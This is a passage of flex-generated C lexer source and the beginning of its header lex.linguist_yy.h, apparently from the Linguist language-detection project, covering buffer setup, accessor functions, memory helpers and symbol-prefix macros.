yy_scan_buffer()\" );\n\n\tb->yy_buf_size = (int) (size - 2);\t/* \"- 2\" to take care of EOB's */\n\tb->yy_buf_pos = b->yy_ch_buf = base;\n\tb->yy_is_our_buffer = 0;\n\tb->yy_input_file = NULL;\n\tb->yy_n_chars = b->yy_buf_size;\n\tb->yy_is_interactive = 0;\n\tb->yy_at_bol = 1;\n\tb->yy_fill_buffer = 0;\n\tb->yy_buffer_status = YY_BUFFER_NEW;\n\n\tyy_switch_to_buffer( b , yyscanner );\n\n\treturn b;\n}\n\n/** Setup the input buffer state to scan a string. The next call to yylex() will\n * scan from a @e copy of @a str.\n * @param yystr a NUL-terminated string to scan\n * @param yyscanner The scanner object.\n * @return the newly allocated buffer state object.\n * @note If you want to scan bytes that may contain NUL values, then use\n *       yy_scan_bytes() instead.\n */\nYY_BUFFER_STATE yy_scan_string (const char * yystr , yyscan_t yyscanner)\n{\n    \n\treturn yy_scan_bytes( yystr, (int) strlen(yystr) , yyscanner);\n}\n\n/** Setup the input buffer state to scan the given bytes. The next call to yylex() will\n * scan from a @e copy of @a bytes.\n * @param yybytes the byte buffer to scan\n * @param _yybytes_len the number of bytes in the buffer pointed to by @a bytes.\n * @param yyscanner The scanner object.\n * @return the newly allocated buffer state object.\n */\nYY_BUFFER_STATE yy_scan_bytes  (const char * yybytes, int  _yybytes_len , yyscan_t yyscanner)\n{\n\tYY_BUFFER_STATE b;\n\tchar *buf;\n\tyy_size_t n;\n\tint i;\n    \n\t/* Get memory for full buffer, including space for trailing EOB's. */\n\tn = (yy_size_t) (_yybytes_len + 2);\n\tbuf = (char *) yyalloc( n , yyscanner );\n\tif ( ! buf )\n\t\tYY_FATAL_ERROR( \"out of dynamic memory in yy_scan_bytes()\" );\n\n\tfor ( i = 0; i < _yybytes_len; ++i )\n\t\tbuf[i] = yybytes[i];\n\n\tbuf[_yybytes_len] = buf[_yybytes_len+1] = YY_END_OF_BUFFER_CHAR;\n\n\tb = yy_scan_buffer( buf, n , yyscanner);\n\tif ( ! b )\n\t\tYY_FATAL_ERROR( \"bad buffer in yy_scan_bytes()\" );\n\n\t/* It's okay to grow etc. this buffer, and we should throw it\n\t * away when we're done.\n\t */\n\tb->yy_is_our_buffer = 1;\n\n\treturn b;\n}\n\n#ifndef YY_EXIT_FAILURE\n#define YY_EXIT_FAILURE 2\n#endif\n\nstatic void yynoreturn yy_fatal_error (const char* msg , yyscan_t yyscanner)\n{\n\tstruct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\t(void)yyg;\n\tfprintf( stderr, \"%s\\n\", msg );\n\texit( YY_EXIT_FAILURE );\n}\n\n/* Redefine yyless() so it works in section 3 code. */\n\n#undef yyless\n#define yyless(n) \\\n\tdo \\\n\t\t{ \\\n\t\t/* Undo effects of setting up yytext. */ \\\n        int yyless_macro_arg = (n); \\\n        YY_LESS_LINENO(yyless_macro_arg);\\\n\t\tyytext[yyleng] = yyg->yy_hold_char; \\\n\t\tyyg->yy_c_buf_p = yytext + yyless_macro_arg; \\\n\t\tyyg->yy_hold_char = *yyg->yy_c_buf_p; \\\n\t\t*yyg->yy_c_buf_p = '\\0'; \\\n\t\tyyleng = yyless_macro_arg; \\\n\t\t} \\\n\twhile ( 0 )\n\n/* Accessor  methods (get/set functions) to struct members. */\n\n/** Get the user-defined data for this scanner.\n * @param yyscanner The scanner object.\n */\nYY_EXTRA_TYPE yyget_extra  (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n    return yyextra;\n}\n\n/** Get the current line number.\n * @param yyscanner The scanner object.\n */\nint yyget_lineno  (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n        if (! YY_CURRENT_BUFFER)\n            return 0;\n    \n    return yylineno;\n}\n\n/** Get the current column number.\n * @param yyscanner The scanner object.\n */\nint yyget_column  (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n        if (! YY_CURRENT_BUFFER)\n            return 0;\n    \n    return yycolumn;\n}\n\n/** Get the input stream.\n * @param yyscanner The scanner object.\n */\nFILE *yyget_in  (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n    return yyin;\n}\n\n/** Get the output stream.\n * @param yyscanner The scanner object.\n */\nFILE *yyget_out  (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n    return yyout;\n}\n\n/** Get the length of the current token.\n * @param yyscanner The scanner object.\n */\nint yyget_leng  (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n    return yyleng;\n}\n\n/** Get the current token.\n * @param yyscanner The scanner object.\n */\n\nchar *yyget_text  (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n    return yytext;\n}\n\n/** Set the user-defined data. This data is never touched by the scanner.\n * @param user_defined The data to be associated with this scanner.\n * @param yyscanner The scanner object.\n */\nvoid yyset_extra (YY_EXTRA_TYPE  user_defined , yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n    yyextra = user_defined ;\n}\n\n/** Set the current line number.\n * @param _line_number line number\n * @param yyscanner The scanner object.\n */\nvoid yyset_lineno (int  _line_number , yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n        /* lineno is only valid if an input buffer exists. */\n        if (! YY_CURRENT_BUFFER )\n           YY_FATAL_ERROR( \"yyset_lineno called with no buffer\" );\n    \n    yylineno = _line_number;\n}\n\n/** Set the current column.\n * @param _column_no column number\n * @param yyscanner The scanner object.\n */\nvoid yyset_column (int  _column_no , yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n        /* column is only valid if an input buffer exists. */\n        if (! YY_CURRENT_BUFFER )\n           YY_FATAL_ERROR( \"yyset_column called with no buffer\" );\n    \n    yycolumn = _column_no;\n}\n\n/** Set the input stream. This does not discard the current\n * input buffer.\n * @param _in_str A readable stream.\n * @param yyscanner The scanner object.\n * @see yy_switch_to_buffer\n */\nvoid yyset_in (FILE *  _in_str , yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n    yyin = _in_str ;\n}\n\nvoid yyset_out (FILE *  _out_str , yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n    yyout = _out_str ;\n}\n\nint yyget_debug  (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n    return yy_flex_debug;\n}\n\nvoid yyset_debug (int  _bdebug , yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n    yy_flex_debug = _bdebug ;\n}\n\n/* Accessor methods for yylval and yylloc */\n\n/* User-visible API */\n\n/* yylex_init is special because it creates the scanner itself, so it is\n * the ONLY reentrant function that doesn't take the scanner as the last argument.\n * That's why we explicitly handle the declaration, instead of using our macros.\n */\nint yylex_init(yyscan_t* ptr_yy_globals)\n{\n    if (ptr_yy_globals == NULL){\n        errno = EINVAL;\n        return 1;\n    }\n\n    *ptr_yy_globals = (yyscan_t) yyalloc ( sizeof( struct yyguts_t ), NULL );\n\n    if (*ptr_yy_globals == NULL){\n        errno = ENOMEM;\n        return 1;\n    }\n\n    /* By setting to 0xAA, we expose bugs in yy_init_globals. Leave at 0x00 for releases. */\n    memset(*ptr_yy_globals,0x00,sizeof(struct yyguts_t));\n\n    return yy_init_globals ( *ptr_yy_globals );\n}\n\n/* yylex_init_extra has the same functionality as yylex_init, but follows the\n * convention of taking the scanner as the last argument. Note however, that\n * this is a *pointer* to a scanner, as it will be allocated by this call (and\n * is the reason, too, why this function also must handle its own declaration).\n * The user defined value in the first argument will be available to yyalloc in\n * the yyextra field.\n */\nint yylex_init_extra( YY_EXTRA_TYPE yy_user_defined, yyscan_t* ptr_yy_globals )\n{\n    struct yyguts_t dummy_yyguts;\n\n    yyset_extra (yy_user_defined, &dummy_yyguts);\n\n    if (ptr_yy_globals == NULL){\n        errno = EINVAL;\n        return 1;\n    }\n\n    *ptr_yy_globals = (yyscan_t) yyalloc ( sizeof( struct yyguts_t ), &dummy_yyguts );\n\n    if (*ptr_yy_globals == NULL){\n        errno = ENOMEM;\n        return 1;\n    }\n\n    /* By setting to 0xAA, we expose bugs in\n    yy_init_globals. Leave at 0x00 for releases. */\n    memset(*ptr_yy_globals,0x00,sizeof(struct yyguts_t));\n\n    yyset_extra (yy_user_defined, *ptr_yy_globals);\n\n    return yy_init_globals ( *ptr_yy_globals );\n}\n\nstatic int yy_init_globals (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n    /* Initialization is the same as for the non-reentrant scanner.\n     * This function is called from yylex_destroy(), so don't allocate here.\n     */\n\n    yyg->yy_buffer_stack = NULL;\n    yyg->yy_buffer_stack_top = 0;\n    yyg->yy_buffer_stack_max = 0;\n    yyg->yy_c_buf_p = NULL;\n    yyg->yy_init = 0;\n    yyg->yy_start = 0;\n\n    yyg->yy_start_stack_ptr = 0;\n    yyg->yy_start_stack_depth = 0;\n    yyg->yy_start_stack =  NULL;\n\n/* Defined in main.c */\n#ifdef YY_STDINIT\n    yyin = stdin;\n    yyout = stdout;\n#else\n    yyin = NULL;\n    yyout = NULL;\n#endif\n\n    /* For future reference: Set errno on error, since we are called by\n     * yylex_init()\n     */\n    return 0;\n}\n\n/* yylex_destroy is for both reentrant and non-reentrant scanners. */\nint yylex_destroy  (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n    /* Pop the buffer stack, destroying each element. */\n\twhile(YY_CURRENT_BUFFER){\n\t\tyy_delete_buffer( YY_CURRENT_BUFFER , yyscanner );\n\t\tYY_CURRENT_BUFFER_LVALUE = NULL;\n\t\tyypop_buffer_state(yyscanner);\n\t}\n\n\t/* Destroy the stack itself. */\n\tyyfree(yyg->yy_buffer_stack , yyscanner);\n\tyyg->yy_buffer_stack = NULL;\n\n    /* Destroy the start condition stack. */\n        yyfree( yyg->yy_start_stack , yyscanner );\n        yyg->yy_start_stack = NULL;\n\n    /* Reset the globals. This is important in a non-reentrant scanner so the next time\n     * yylex() is called, initialization will occur. */\n    yy_init_globals( yyscanner);\n\n    /* Destroy the main struct (reentrant only). */\n    yyfree ( yyscanner , yyscanner );\n    yyscanner = NULL;\n    return 0;\n}\n\n/*\n * Internal utility routines.\n */\n\n#ifndef yytext_ptr\nstatic void yy_flex_strncpy (char* s1, const char * s2, int n , yyscan_t yyscanner)\n{\n\tstruct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\t(void)yyg;\n\n\tint i;\n\tfor ( i = 0; i < n; ++i )\n\t\ts1[i] = s2[i];\n}\n#endif\n\n#ifdef YY_NEED_STRLEN\nstatic int yy_flex_strlen (const char * s , yyscan_t yyscanner)\n{\n\tint n;\n\tfor ( n = 0; s[n]; ++n )\n\t\t;\n\n\treturn n;\n}\n#endif\n\nvoid *yyalloc (yy_size_t  size , yyscan_t yyscanner)\n{\n\tstruct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\t(void)yyg;\n\treturn malloc(size);\n}\n\nvoid *yyrealloc  (void * ptr, yy_size_t  size , yyscan_t yyscanner)\n{\n\tstruct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\t(void)yyg;\n\n\t/* The cast to (char *) in the following accommodates both\n\t * implementations that use char* generic pointers, and those\n\t * that use void* generic pointers.  It works with the latter\n\t * because both ANSI C and C++ allow castless assignment from\n\t * any pointer type to void*, and deal with argument conversions\n\t * as though doing an assignment.\n\t */\n\treturn realloc(ptr, size);\n}\n\nvoid yyfree (void * ptr , yyscan_t yyscanner)\n{\n\tstruct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\t(void)yyg;\n\tfree( (char *) ptr );\t/* see yyrealloc() for (char *) cast */\n}\n\n#define YYTABLES_NAME \"yytables\"\n\n#line 176 \"tokenizer.l\"\n\n\n"
  },
  {
    "path": "ext/linguist/lex.linguist_yy.h",
    "content": "#ifndef linguist_yyHEADER_H\n#define linguist_yyHEADER_H 1\n#define linguist_yyIN_HEADER 1\n\n#line 6 \"lex.linguist_yy.h\"\n\n#define  YY_INT_ALIGNED short int\n\n/* A lexical scanner generated by flex */\n\n#define FLEX_SCANNER\n#define YY_FLEX_MAJOR_VERSION 2\n#define YY_FLEX_MINOR_VERSION 6\n#define YY_FLEX_SUBMINOR_VERSION 4\n#if YY_FLEX_SUBMINOR_VERSION > 0\n#define FLEX_BETA\n#endif\n\n#ifdef yy_create_buffer\n#define linguist_yy_create_buffer_ALREADY_DEFINED\n#else\n#define yy_create_buffer linguist_yy_create_buffer\n#endif\n\n#ifdef yy_delete_buffer\n#define linguist_yy_delete_buffer_ALREADY_DEFINED\n#else\n#define yy_delete_buffer linguist_yy_delete_buffer\n#endif\n\n#ifdef yy_scan_buffer\n#define linguist_yy_scan_buffer_ALREADY_DEFINED\n#else\n#define yy_scan_buffer linguist_yy_scan_buffer\n#endif\n\n#ifdef yy_scan_string\n#define linguist_yy_scan_string_ALREADY_DEFINED\n#else\n#define yy_scan_string linguist_yy_scan_string\n#endif\n\n#ifdef yy_scan_bytes\n#define linguist_yy_scan_bytes_ALREADY_DEFINED\n#else\n#define yy_scan_bytes linguist_yy_scan_bytes\n#endif\n\n#ifdef yy_init_buffer\n#define linguist_yy_init_buffer_ALREADY_DEFINED\n#else\n#define yy_init_buffer linguist_yy_init_buffer\n#endif\n\n#ifdef yy_flush_buffer\n#define linguist_yy_flush_buffer_ALREADY_DEFINED\n#else\n#define yy_flush_buffer linguist_yy_flush_buffer\n#endif\n\n#ifdef yy_load_buffer_state\n#define linguist_yy_load_buffer_state_ALREADY_DEFINED\n#else\n#define yy_load_buffer_state linguist_yy_load_buffer_state\n#endif\n\n#ifdef yy_switch_to_buffer\n#define linguist_yy_switch_to_buffer_ALREADY_DEFINED\n#else\n#define yy_switch_to_buffer linguist_yy_switch_to_buffer\n#endif\n\n#ifdef yypush_buffer_state\n#define linguist_yypush_buffer_state_ALREADY_DEFINED\n#else\n#define yypush_buffer_state linguist_yypush_buffer_state\n#endif\n\n#ifdef yypop_buffer_state\n#define linguist_yypop_buffer_state_ALREADY_DEFINED\n#else\n#define yypop_buffer_state linguist_yypop_buffer_state\n#endif\n\n#ifdef yyensure_buffer_stack\n#define linguist_yyensure_buffer_stack_ALREADY_DEFINED\n#else\n#define yyensure_buffer_stack linguist_yyensure_buffer_stack\n#endif\n\n#ifdef yylex\n#define linguist_yylex_ALREADY_DEFINED\n#else\n#define yylex linguist_yylex\n#endif\n\n#ifdef yyrestart\n#define linguist_yyrestart_ALREADY_DEFINED\n#else\n#define yyrestart linguist_yyrestart\n#endif\n\n#ifdef yylex_init\n#define linguist_yylex_init_ALREADY_DEFINED\n#else\n#define yylex_init linguist_yylex_init\n#endif\n\n#ifdef yylex_init_extra\n#define linguist_yylex_init_extra_ALREADY_DEFINED\n#else\n#define yylex_init_extra linguist_yylex_init_extra\n#endif\n\n#ifdef yylex_destroy\n#define linguist_yylex_destroy_ALREADY_DEFINED\n#else\n#define yylex_destroy linguist_yylex_destroy\n#endif\n\n#ifdef yyget_debug\n#define linguist_yyget_debug_ALREADY_DEFINED\n#else\n#define yyget_debug linguist_yyget_debug\n#endif\n\n#ifdef yyset_debug\n#define linguist_yyset_debug_ALREADY_DEFINED\n#else\n#define yyset_debug linguist_yyset_debug\n#endif\n\n#ifdef yyget_extra\n#define linguist_yyget_extra_ALREADY_DEFINED\n#else\n#define yyget_extra linguist_yyget_extra\n#endif\n\n#ifdef yyset_extra\n#define linguist_yyset_extra_ALREADY_DEFINED\n#else\n#define yyset_extra linguist_yyset_extra\n#endif\n\n#ifdef yyget_in\n#define linguist_yyget_in_ALREADY_DEFINED\n#else\n#define yyget_in linguist_yyget_in\n#endif\n\n#ifdef yyset_in\n#define linguist_yyset_in_ALREADY_DEFINED\n#else\n#define yyset_in linguist_yyset_in\n#endif\n\n#ifdef yyget_out\n#define linguist_yyget_out_ALREADY_DEFINED\n#else\n#define yyget_out linguist_yyget_out\n#endif\n\n#ifdef yyset_out\n#define linguist_yyset_out_ALREADY_DEFINED\n#else\n#define yyset_out linguist_yyset_out\n#endif\n\n#ifdef yyget_leng\n#define linguist_yyget_leng_ALREADY_DEFINED\n#else\n#define yyget_leng linguist_yyget_leng\n#endif\n\n#ifdef yyget_text\n#define linguist_yyget_text_ALREADY_DEFINED\n#else\n#define yyget_text linguist_yyget_text\n#endif\n\n#ifdef yyget_lineno\n#define linguist_yyget_lineno_ALREADY_DEFINED\n#else\n#define yyget_lineno linguist_yyget_lineno\n#endif\n\n#ifdef yyset_lineno\n#define linguist_yyset_lineno_ALREADY_DEFINED\n#else\n#define yyset_lineno linguist_yyset_lineno\n#endif\n\n#ifdef yyget_column\n#define linguist_yyget_column_ALREADY_DEFINED\n#else\n#define yyget_column linguist_yyget_column\n#endif\n\n#ifdef yyset_column\n#define linguist_yyset_column_ALREADY_DEFINED\n#else\n#define yyset_column linguist_yyset_column\n#endif\n\n#ifdef yywrap\n#define linguist_yywrap_ALREADY_DEFINED\n#else\n#define yywrap linguist_yywrap\n#endif\n\n#ifdef yyalloc\n#define linguist_yyalloc_ALREADY_DEFINED\n#else\n#define yyalloc linguist_yyalloc\n#endif\n\n#ifdef yyrealloc\n#define linguist_yyrealloc_ALREADY_DEFINED\n#else\n#define yyrealloc linguist_yyrealloc\n#endif\n\n#ifdef yyfree\n#define linguist_yyfree_ALREADY_DEFINED\n#else\n#define yyfree linguist_yyfree\n#endif\n\n/* First, we deal with  platform-specific or compiler-specific issues. */\n\n/* begin standard C headers. */\n#include <stdio.h>\n#include <string.h>\n#include <errno.h>\n#include <stdlib.h>\n\n/* end standard C headers. */\n\n/* flex integer type definitions */\n\n#ifndef FLEXINT_H\n#define FLEXINT_H\n\n/* C99 systems have <inttypes.h>. Non-C99 systems may or may not. */\n\n#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L\n\n/* C99 says to define __STDC_LIMIT_MACROS before including stdint.h,\n * if you want the limit (max/min) macros for int types. \n */\n#ifndef __STDC_LIMIT_MACROS\n#define __STDC_LIMIT_MACROS 1\n#endif\n\n#include <inttypes.h>\ntypedef int8_t flex_int8_t;\ntypedef uint8_t flex_uint8_t;\ntypedef int16_t flex_int16_t;\ntypedef uint16_t flex_uint16_t;\ntypedef int32_t flex_int32_t;\ntypedef uint32_t flex_uint32_t;\n#else\ntypedef signed char flex_int8_t;\ntypedef short int flex_int16_t;\ntypedef int flex_int32_t;\ntypedef unsigned char flex_uint8_t; \ntypedef unsigned short int flex_uint16_t;\ntypedef unsigned int flex_uint32_t;\n\n/* Limits of integral types. */\n#ifndef INT8_MIN\n#define INT8_MIN               (-128)\n#endif\n#ifndef INT16_MIN\n#define INT16_MIN              (-32767-1)\n#endif\n#ifndef INT32_MIN\n#define INT32_MIN              (-2147483647-1)\n#endif\n#ifndef INT8_MAX\n#define INT8_MAX               (127)\n#endif\n#ifndef INT16_MAX\n#define INT16_MAX              (32767)\n#endif\n#ifndef INT32_MAX\n#define INT32_MAX              (2147483647)\n#endif\n#ifndef UINT8_MAX\n#define UINT8_MAX              (255U)\n#endif\n#ifndef UINT16_MAX\n#define UINT16_MAX             (65535U)\n#endif\n#ifndef UINT32_MAX\n#define UINT32_MAX             (4294967295U)\n#endif\n\n#ifndef SIZE_MAX\n#define SIZE_MAX               (~(size_t)0)\n#endif\n\n#endif /* ! C99 */\n\n#endif /* ! FLEXINT_H */\n\n/* begin standard C++ headers. */\n\n/* TODO: this is always defined, so inline it */\n#define yyconst const\n\n#if defined(__GNUC__) && __GNUC__ >= 3\n#define yynoreturn __attribute__((__noreturn__))\n#else\n#define yynoreturn\n#endif\n\n/* An opaque pointer. */\n#ifndef YY_TYPEDEF_YY_SCANNER_T\n#define YY_TYPEDEF_YY_SCANNER_T\ntypedef void* yyscan_t;\n#endif\n\n/* For convenience, these vars (plus the bison vars far below)\n   are macros in the reentrant scanner. */\n#define yyin yyg->yyin_r\n#define yyout yyg->yyout_r\n#define yyextra yyg->yyextra_r\n#define yyleng yyg->yyleng_r\n#define yytext yyg->yytext_r\n#define yylineno (YY_CURRENT_BUFFER_LVALUE->yy_bs_lineno)\n#define yycolumn (YY_CURRENT_BUFFER_LVALUE->yy_bs_column)\n#define yy_flex_debug yyg->yy_flex_debug_r\n\n/* Size of default input buffer. */\n#ifndef YY_BUF_SIZE\n#ifdef __ia64__\n/* On IA-64, the buffer size is 16k, not 8k.\n * Moreover, YY_BUF_SIZE is 2*YY_READ_BUF_SIZE in the general case.\n * Ditto for the __ia64__ case accordingly.\n */\n#define YY_BUF_SIZE 32768\n#else\n#define YY_BUF_SIZE 16384\n#endif /* __ia64__ */\n#endif\n\n#ifndef YY_TYPEDEF_YY_BUFFER_STATE\n#define YY_TYPEDEF_YY_BUFFER_STATE\ntypedef struct yy_buffer_state *YY_BUFFER_STATE;\n#endif\n\n#ifndef YY_TYPEDEF_YY_SIZE_T\n#define YY_TYPEDEF_YY_SIZE_T\ntypedef size_t yy_size_t;\n#endif\n\n#ifndef YY_STRUCT_YY_BUFFER_STATE\n#define YY_STRUCT_YY_BUFFER_STATE\nstruct yy_buffer_state\n\t{\n\tFILE *yy_input_file;\n\n\tchar *yy_ch_buf;\t\t/* input buffer */\n\tchar *yy_buf_pos;\t\t/* current position in input buffer */\n\n\t/* Size of input buffer in bytes, not including room for EOB\n\t * characters.\n\t */\n\tint yy_buf_size;\n\n\t/* Number of characters read into yy_ch_buf, not including EOB\n\t * characters.\n\t */\n\tint yy_n_chars;\n\n\t/* Whether we \"own\" the buffer - i.e., we know we created it,\n\t * and can realloc() it to grow it, and should free() it to\n\t * delete it.\n\t */\n\tint yy_is_our_buffer;\n\n\t/* Whether this is an \"interactive\" input source; if so, and\n\t * if we're using stdio for input, then we want to use getc()\n\t * instead of fread(), to make sure we stop fetching input after\n\t * each newline.\n\t */\n\tint yy_is_interactive;\n\n\t/* Whether we're considered to be at the beginning of a line.\n\t * If so, '^' rules will be active on the next match, otherwise\n\t * not.\n\t */\n\tint yy_at_bol;\n\n    int yy_bs_lineno; /**< The line count. */\n    int yy_bs_column; /**< The column count. */\n\n\t/* Whether to try to fill the input buffer when we reach the\n\t * end of it.\n\t */\n\tint yy_fill_buffer;\n\n\tint yy_buffer_status;\n\n\t};\n#endif /* !YY_STRUCT_YY_BUFFER_STATE */\n\nvoid yyrestart ( FILE *input_file , yyscan_t yyscanner );\nvoid yy_switch_to_buffer ( YY_BUFFER_STATE new_buffer , yyscan_t yyscanner );\nYY_BUFFER_STATE yy_create_buffer ( FILE *file, int size , yyscan_t yyscanner );\nvoid yy_delete_buffer ( YY_BUFFER_STATE b , yyscan_t yyscanner );\nvoid yy_flush_buffer ( YY_BUFFER_STATE b , yyscan_t yyscanner );\nvoid yypush_buffer_state ( YY_BUFFER_STATE new_buffer , yyscan_t yyscanner );\nvoid yypop_buffer_state ( yyscan_t yyscanner );\n\nYY_BUFFER_STATE yy_scan_buffer ( char *base, yy_size_t size , yyscan_t yyscanner );\nYY_BUFFER_STATE yy_scan_string ( const char *yy_str , yyscan_t yyscanner );\nYY_BUFFER_STATE yy_scan_bytes ( const char *bytes, int len , yyscan_t yyscanner );\n\nvoid *yyalloc ( yy_size_t , yyscan_t yyscanner );\nvoid *yyrealloc ( void *, yy_size_t , yyscan_t yyscanner );\nvoid yyfree ( void * , yyscan_t yyscanner );\n\n/* Begin user sect3 */\n\n#define yytext_ptr yytext_r\n\n#ifdef YY_HEADER_EXPORT_START_CONDITIONS\n#define INITIAL 0\n#define c_comment 1\n#define xml_comment 2\n#define haskell_comment 3\n#define ocaml_comment 4\n#define python_dcomment 5\n#define python_scomment 6\n#define roff_comment 7\n#define lean_comment 8\n\n#endif\n\n#ifndef YY_NO_UNISTD_H\n/* Special case for \"unistd.h\", since it is non-ANSI. We include it way\n * down here because we want the user's section 1 to have been scanned first.\n * The user has a chance to override it with an option.\n */\n#include <unistd.h>\n#endif\n\n#define YY_EXTRA_TYPE VALUE*\n\nint yylex_init (yyscan_t* scanner);\n\nint yylex_init_extra ( YY_EXTRA_TYPE user_defined, yyscan_t* scanner);\n\n/* Accessor methods to globals.\n   These are made visible to non-reentrant scanners for convenience. */\n\nint yylex_destroy ( yyscan_t yyscanner );\n\nint yyget_debug ( yyscan_t yyscanner );\n\nvoid yyset_debug ( int debug_flag , yyscan_t yyscanner );\n\nYY_EXTRA_TYPE yyget_extra ( yyscan_t yyscanner );\n\nvoid yyset_extra ( YY_EXTRA_TYPE user_defined , yyscan_t yyscanner );\n\nFILE *yyget_in ( yyscan_t yyscanner );\n\nvoid yyset_in  ( FILE * _in_str , yyscan_t yyscanner );\n\nFILE *yyget_out ( yyscan_t yyscanner );\n\nvoid yyset_out  ( FILE * _out_str , yyscan_t yyscanner );\n\n\t\t\tint yyget_leng ( yyscan_t yyscanner );\n\nchar *yyget_text ( yyscan_t yyscanner );\n\nint yyget_lineno ( yyscan_t yyscanner );\n\nvoid yyset_lineno ( int _line_number , yyscan_t yyscanner );\n\nint yyget_column  ( yyscan_t yyscanner );\n\nvoid yyset_column ( int _column_no , yyscan_t yyscanner );\n\n/* Macros after this point can all be overridden by user definitions in\n * section 1.\n */\n\n#ifndef YY_SKIP_YYWRAP\n#ifdef __cplusplus\nextern \"C\" int yywrap ( yyscan_t yyscanner );\n#else\nextern int yywrap ( yyscan_t yyscanner );\n#endif\n#endif\n\n#ifndef yytext_ptr\nstatic void yy_flex_strncpy ( char *, const char *, int , yyscan_t yyscanner);\n#endif\n\n#ifdef YY_NEED_STRLEN\nstatic int yy_flex_strlen ( const char * , yyscan_t yyscanner);\n#endif\n\n#ifndef YY_NO_INPUT\n\n#endif\n\n/* Amount of stuff to slurp up with each read. */\n#ifndef YY_READ_BUF_SIZE\n#ifdef __ia64__\n/* On IA-64, the buffer size is 16k, not 8k */\n#define YY_READ_BUF_SIZE 16384\n#else\n#define YY_READ_BUF_SIZE 8192\n#endif /* __ia64__ */\n#endif\n\n/* Number of entries by which start-condition stack grows. */\n#ifndef YY_START_STACK_INCR\n#define YY_START_STACK_INCR 25\n#endif\n\n/* Default declaration of generated scanner - a define so the user can\n * easily add parameters.\n */\n#ifndef YY_DECL\n#define YY_DECL_IS_OURS 1\n\nextern int yylex (yyscan_t yyscanner);\n\n#define YY_DECL int yylex (yyscan_t yyscanner)\n#endif /* !YY_DECL */\n\n/* yy_get_previous_state - get the state just before the EOB char was reached */\n\n#undef YY_NEW_FILE\n#undef YY_FLUSH_BUFFER\n#undef yy_set_bol\n#undef yy_new_buffer\n#undef yy_set_interactive\n#undef YY_DO_BEFORE_ACTION\n\n#ifdef YY_DECL_IS_OURS\n#undef YY_DECL_IS_OURS\n#undef YY_DECL\n#endif\n\n#ifndef linguist_yy_create_buffer_ALREADY_DEFINED\n#undef yy_create_buffer\n#endif\n#ifndef linguist_yy_delete_buffer_ALREADY_DEFINED\n#undef yy_delete_buffer\n#endif\n#ifndef linguist_yy_scan_buffer_ALREADY_DEFINED\n#undef yy_scan_buffer\n#endif\n#ifndef linguist_yy_scan_string_ALREADY_DEFINED\n#undef yy_scan_string\n#endif\n#ifndef linguist_yy_scan_bytes_ALREADY_DEFINED\n#undef yy_scan_bytes\n#endif\n#ifndef linguist_yy_init_buffer_ALREADY_DEFINED\n#undef yy_init_buffer\n#endif\n#ifndef linguist_yy_flush_buffer_ALREADY_DEFINED\n#undef yy_flush_buffer\n#endif\n#ifndef linguist_yy_load_buffer_state_ALREADY_DEFINED\n#undef yy_load_buffer_state\n#endif\n#ifndef linguist_yy_switch_to_buffer_ALREADY_DEFINED\n#undef yy_switch_to_buffer\n#endif\n#ifndef linguist_yypush_buffer_state_ALREADY_DEFINED\n#undef yypush_buffer_state\n#endif\n#ifndef linguist_yypop_buffer_state_ALREADY_DEFINED\n#undef yypop_buffer_state\n#endif\n#ifndef linguist_yyensure_buffer_stack_ALREADY_DEFINED\n#undef yyensure_buffer_stack\n#endif\n#ifndef linguist_yylex_ALREADY_DEFINED\n#undef yylex\n#endif\n#ifndef linguist_yyrestart_ALREADY_DEFINED\n#undef yyrestart\n#endif\n#ifndef linguist_yylex_init_ALREADY_DEFINED\n#undef yylex_init\n#endif\n#ifndef linguist_yylex_init_extra_ALREADY_DEFINED\n#undef yylex_init_extra\n#endif\n#ifndef linguist_yylex_destroy_ALREADY_DEFINED\n#undef yylex_destroy\n#endif\n#ifndef linguist_yyget_debug_ALREADY_DEFINED\n#undef yyget_debug\n#endif\n#ifndef linguist_yyset_debug_ALREADY_DEFINED\n#undef yyset_debug\n#endif\n#ifndef linguist_yyget_extra_ALREADY_DEFINED\n#undef yyget_extra\n#endif\n#ifndef linguist_yyset_extra_ALREADY_DEFINED\n#undef yyset_extra\n#endif\n#ifndef linguist_yyget_in_ALREADY_DEFINED\n#undef yyget_in\n#endif\n#ifndef linguist_yyset_in_ALREADY_DEFINED\n#undef yyset_in\n#endif\n#ifndef linguist_yyget_out_ALREADY_DEFINED\n#undef yyget_out\n#endif\n#ifndef linguist_yyset_out_ALREADY_DEFINED\n#undef yyset_out\n#endif\n#ifndef linguist_yyget_leng_ALREADY_DEFINED\n#undef yyget_leng\n#endif\n#ifndef linguist_yyget_text_ALREADY_DEFINED\n#undef yyget_text\n#endif\n#ifndef linguist_yyget_lineno_ALREADY_DEFINED\n#undef yyget_lineno\n#endif\n#ifndef 